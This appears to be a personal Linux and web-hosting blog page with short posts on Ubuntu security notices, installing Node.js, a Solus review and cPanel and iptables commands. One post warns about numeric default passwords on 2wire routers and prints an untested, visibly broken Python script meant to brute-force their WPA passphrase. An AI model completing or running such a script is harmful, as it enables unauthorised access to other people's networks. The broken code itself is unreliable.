Random Linux

Linux, video games and web hosting

Ubuntu released a notification of USN-4757-1 today which describes a security vulnerability that was found in wp_supplicant where in some certain situations it did not handle P2P provision discovery requests.  This allowed an attacker to be able to cause a denial of service attack.  Also, in some situations, the attacker was possibly execute arbitrary code.

More details about this can be found at this link:

Ubuntu security notices

March 3rd, 2021

Posted In: Around the Web

Tags: , , ,

Leave a Comment

The base installation of Amazon Linux 2 doesn’t have nodejs in it’s default repos. The way that is suggested by AWS is to use nvm to manage the installation.  You can find the official documentation for that here:


To start, you need to SSH in, then use this command to install nvm, which is used to install NodeJS.  

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash

It can then be activated by running this command

. ~/.nvm/nvm.sh

After that, you are able to install node with nvm using this command

nvm install node

Once that has completed, node should be installed on the server. You can verify that it is installed properly using this command.

node -e "console.log('Running Node.js ' + process.version)"

That should output the NodeJS version as it does here.

$ node -e "console.log('Running Node.js ' + process.version)"
Running Node.js v15.10.0

Once that has completed, NodeJS is ready to use on the server and should be able to run your applications without any other issues.

February 23rd, 2021

Posted In: Uncategorized

Leave a Comment

Today we’ll be installing and testing out Solus on the desktop, specifically the ‘Budgie’ flavor of Solus. There are also options to download Solus GNOME or Solus MATE as well. Those can all be downloaded from this page:

Download Solus

Solus is not based on another distro and is written from scratch. It uses a rolling release model, which they moved to after previously using point versions.

When first booting the disk, you are immediately presented with a live desktop.

At the top, there are four icons: Install OS, Firefox, Hex Chat, Gnome MPV and Rythmbox music player. Clicking the ‘Install OS’ button, you are given an installation screen where you choose the installer, your language, location settings, keyboard layout, time and all the usual installation stuff. It also gives you a chance to configure your disk for the install.

Then kick back and have a beer while the OS installs.

After rebooting, you’re first given Solus styled grub listing.

Then you are presented with the Budgie login screen.

The first thing I noticed was the red bell icon that was signifying that there was an unseen notification. Clicking it gives a MacOS-ish notification slide out where you can switch between notifications and ‘Applets’.

The application launcher at the top left corner provides access to the reasonable amount of applications that come preinstalled.





Sound & Video:


System Tools:

There’s also a tweak tool available that allows to easily change the theme, which there are a few included.

Adwaita (Default):




High Contrast:

There’s also a ‘Global Dark Theme’ in the settings, however when I tested it out it didn’t seems to change anything.

The lock screen also immediately makes me think of Gnome:

Another selling point of Solus is it’s software center, which is very snappy compared to others I’ve tried in the past.

First impressions:

This is my first time using Solus, and am impressed at the ease of installation. I like the budgie desktop. it looks clean, it seems responsive and I may be giving it a try on my Ubuntu install on my daily computer. I also like the idea of rolling releases and the development on it seems solid, so I may be testing this out a little more real soon.

Have you tried Solus or do you run it daily? Have you had any good or bad experiences with it?

July 3rd, 2017

Posted In: Distros

Tags: , , ,

Leave a Comment

Ubuntu has released a security notice for exim4 today. That affects these versions:

  • Ubuntu 17.04
  • Ubuntu 16.10
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 LTS

This vulnerability is for an issue in exim where it could be made to run programs as an administrator. This was because Exim did not properly deallocate memory when processing certain command line arguments. Local attackers could use that along with other vulnerabilities that could possibly allow arbitrary code to be executed and could allow administrative privileges.

You will want to ensure that you update that package using the ‘apt-get upgrade exim4’ command or that it is updated to one of these packages:

Ubuntu 17.04:
exim4-daemon-heavy 4.88-5ubuntu1.1
exim4-daemon-light 4.88-5ubuntu1.1

Ubuntu 16.10:
exim4-daemon-heavy 4.87-3ubuntu1.2
exim4-daemon-light 4.87-3ubuntu1.2

Ubuntu 16.04 LTS:
exim4-daemon-heavy 4.86.2-2ubuntu2.2
exim4-daemon-light 4.86.2-2ubuntu2.2

Ubuntu 14.04 LTS:
exim4-daemon-heavy 4.82-3ubuntu2.3
exim4-daemon-light 4.82-3ubuntu2.3

More information on that can be found here as well:

Ubuntu Security Notice USN-3322-1

June 19th, 2017

Posted In: News

Tags: , ,

Leave a Comment

WHM doesn’t currently have a way to clear out the modsec hit lists under ModSecurity Tools, but it is possible to clear that out by moving the existing database out of the way and running the cPanel script to create a new, empty one. These commands will achieve that:

# mv /var/cpanel/modsec/modsec.sqlite /var/cpanel/modsec/modsec.sqlite-bak
# /scripts/setup_modsec_db

After that is done, the list in WHM will no longer show any hits.

June 18th, 2017

Posted In: cPanel Hosting

Tags: , , ,

Leave a Comment

perl -MMIME::Base64 -e 'print encode_base64("user");'

perl -MMIME::Base64 -e 'print encode_base64("password");'

August 18th, 2016

Posted In: General

Leave a Comment

To disable iptables on a Red Hat server, you can use this command to save the current rules first:

[email protected] [/]# /etc/init.d/iptables save
iptables: Saving firewall rules to /etc/sysconfig/iptables:[ OK ]

Then, this command turns off the firewall

[email protected] [/]# /etc/init.d/iptables stop
iptables: Setting chains to policy ACCEPT: nat mangle filte[ OK ]
iptables: Flushing firewall rules: [ OK ]
iptables: Unloading modules: [ OK ]

You can also use this command to disable it when the server boots.

[email protected] [/]# chkconfig iptables off


January 27th, 2015

Posted In: How To

Tags: , , , ,

Leave a Comment

Do you use a 2wire modm/router?: Your network could be at risk. The unfortunate matter is that 2wire modems by default use only numbers in it’s generated Password.  Due to this your wireless could be at risk of being compromised as it is rather trivial to write a program that will generate base10 passwords to brute force access to your router. If you have not changed your password since it was installed it would be greatly advised to change the wpa password to something more complex The same is true of the default admin password to the routers backend it is just another string of numbers.

The fact that a company producing wireless hardware would blindly create a password scheme as simple and susceptible to such an easy attack is more than disappointing, that they did it twice is even more so. Generating base10 passphrases is just as bad as the wep protocol granted in this case you don’t have to gather packets and can just directly bruteforce the router with little to no resistance being that there is no idle or block for successive failed login attempts.

The following python example should create a apploication that will effectively bruteforce the login to a 2wire modem, requires networkmanager (Note: may not work as expected I wrote it blind without being on linux and without a python interpreter, the over all idea it represents is correct though)

import dbus
import time

SEEKED_SSID = “2wire123”
SEEKED_PASSPHRASE = “1000000000”

if __name__ == “__main__”:
bus = dbus.SystemBus()
# Obtain handles to manager objects.
manager_bus_object = bus.get_object(“org.freedesktop.NetworkManager”,
manager = dbus.Interface(manager_bus_object,
manager_props = dbus.Interface(manager_bus_object,

# Enable Wireless. If Wireless is already enabled, this does nothing.
was_wifi_enabled = manager_props.Get(“org.freedesktop.NetworkManager”,
if not was_wifi_enabled:
print “Enabling WiFi and sleeping for 10 seconds …”
manager_props.Set(“org.freedesktop.NetworkManager”, “WirelessEnabled”,
# Give the WiFi adapter some time to scan for APs. This is absolutely
# the wrong way to do it, and the program should listen for
# AccessPointAdded() signals, but it will do.

# Get path to the ‘wlan0’ device. If you’re uncertain whether your WiFi
# device is wlan0 or something else, you may utilize manager.GetDevices()
# method to obtain a list of all devices, and then iterate over these
# devices to check if DeviceType property equals NM_DEVICE_TYPE_WIFI (2).
device_path = manager.GetDeviceByIpIface(“wlan0”)
print “wlan0 path: “, device_path

# Connect to the device’s Wireless interface and obtain list of access
# points.
device = dbus.Interface(bus.get_object(“org.freedesktop.NetworkManager”,
accesspoints_paths_list = device.GetAccessPoints()

# Identify our access point. We do this by comparing our desired SSID
# to the SSID reported by the AP.
our_ap_path = None
for ap_path in accesspoints_paths_list:
ap_props = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, ap_path),
ap_ssid = ap_props.Get(“org.freedesktop.NetworkManager.AccessPoint”,
# Returned SSID is a list of ASCII values. Let’s convert it to a proper
# string.
str_ap_ssid = “”.join(chr(i) for i in ap_ssid)
print ap_path, “: SSID =”, str_ap_ssid
if str_ap_ssid == SEEKED_SSID:
our_ap_path = ap_path

if not our_ap_path:
print “AP not found :(”
print “Our AP: “, our_ap_path


for connections in 9999999999:

connection_params = {
“802-11-wireless”: {
“security”: “802-11-wireless-security”,
“802-11-wireless-security”: {
“key-mgmt”: “wpa-psk”,

# At this point we have all the data we need. Let’s prepare our connection
# parameters so that we can tell the NetworkManager what is the passphrase.

# Establish the connection.

settings_path, connection_path = manager.AddAndActivateConnection(
connection_params, device_path, our_ap_path)
print “settings_path =”, settings_path
print “connection_path =”, connection_path

# Wait until connection is established. This may take a few seconds.
print “””Waiting for connection to reach “”” \
connection_props = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, connection_path),
state = 0

if SEEKED_PASSPHRASE >= “9999999999”
print “Something has gone wrong”
while True:
# Loop forever until desired state is detected.
# A timeout should be implemented here, otherwise the program will
# get stuck if connection fails.
# This is something that should be avoided, but I don’t know how, yet.
# Also, if connection is disconnected at this point, the Get()
# method will raise an org.freedesktop.DBus.Error.UnknownMethod
# exception. This should also be anticipated.
state = connection_props.Get(
“org.freedesktop.NetworkManager.Connection.Active”, “State”)
print “Connection established!”+ str(SEEK_PASSPHRASE)
print “password is: ”

# Connection is established. Do whatever is necessary.
# …
print “Sleeping for 5 seconds …”
print “Disconnecting …”

# Clean up: disconnect and delete connection settings. If program crashes
# before this point is reached then connection settings will be stored
# forever.
# Some pre-init cleanup feature should be devised to deal with this problem,
# but this is an issue for another topic.
settings = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, settings_path),

# Disable Wireless (optional step)
if not was_wifi_enabled:
manager_props.Set(“org.freedesktop.NetworkManager”, “WirelessEnabled”,
print “DONE!”

April 24th, 2014

Posted In: Uncategorized

Tags: , , , ,

Leave a Comment

In this article we will go over configuring Limbo x86 Virtual Machine Emulator for the first time. All of the settings for the Virtual Machine that we will be adding can be changed or adjusted afterwards as well so you aren’t locked into any one setting.

Firstly you will need to install Limbo x86 Virtual Machine Emulator if you haven’t done so already. You can download it from http://www.1mobile.com/limbo-pc-emulator-qemu-x86-526980.html and click the install button. Now that we have it installed we need to create or download a disk image to use. (To create a custom images goto the “Creating a custom disk image” section of this article.) You can find several pre-built disk images at the linux on android projects page sourceforge.com/projects/linux/android/ In this instance I have selected The Debian image from the windows,linux,unix project page to work with.

Now that we have Limbo installed and we have our disk image start limbo. Once it has loaded you will be greated with a screen that looks like this. Limbo01Click the drop down box for “Load VM:” and select “New”, it will then prompt you to name the new virtual machine you are creating.  Where is says “User interface” , you can leave is as vnc if you prefer but for the purpose of this article we will change it to “SDL” The general configuration options below are fairly straight forward. Limbo offers several different CPUS that it can emulate, I have left my selection on pentium 3 which is generic enough for a VM. They also allow you to set the number of cores the VM will have this option doesn’t really need to be changed in my experience trialing limbo the number of cores didn’t seem to affect anything and would habe made more sense if they also let you to change clock speeds in addition, I gave my VM one gig of ram to use as I am running this virtual machine on a netbook that is running android so it has memory to spare, for those running this on your phones I would generally say to set it to as much memory as you can spare.

The drive configurations below that are pretty self explanitory, here you can mount iso disk images to each of the virtual drives it will create or allow you to create empty drives to store stuff too, to do that you will click the drop down box next to the drive you want to use and select new. Here you will be able to set the amount of space you want the drive to have. In the case of this tutorial I left them blank. Since we will be loading a prebuilt image that has already been installed we will select “open” and select our disk image. The default action for boot from device is top boot from the hard drive so you don’t necesarily need to change this how ever I did set it to harddrive to ensure it’s booting from the right location. For the purpose of this article I did not configure networking however you can change it to user to allows for netorking. Ieft the vga configuration as it was didn’t really have any need to change it in this case however you may try to use a disk image that has a requirement for a specific vga configuration to operate properly. For “sound configuration” I set the configuration to “all”  enabling them all doesn’t really have a negative effect on the VM so doing this is fine and will also reduce the likely hood of compatibility issues.

Scroll down to the very bottom of the configuration menu and change the DNS to what ever your network is configured for, in my case it is “” Lime02With all of that done we are ready to launch our VM, scroll back up to the top and click start. You may need to click it twice to get it to start loading some times.

April 24th, 2014

Posted In: Uncategorized

Tags: ,

Leave a Comment

In this article I explain how to create a bootable Ubuntu usb drive.

Things you will need, a usb key with at least 2 gb of storage, an bootable Ubuntu disk image, and univeral-usb-installer which you can download here

Universal-USB-InstallerOnce you have the univeral usb installed downloaded execute it. In step 1 select the version of ubuntu you would like to install. If you have not already downloaded the ISO check the  “Download the Iso” check box otherwise select the path to the iso you have chosen. Now in step 3 select the drive letter for the usb key you will be using, you can also set the amount of space to create persistent storage on the drive allowing yo to use the live usb stick as your portable Ubuntu installion, once you have done thatselect “create” and the program will format and automatically create the file system. Once done you can reboot and load your ubuntu installation.


April 24th, 2014

Posted In: Uncategorized

One Comment

Next Page »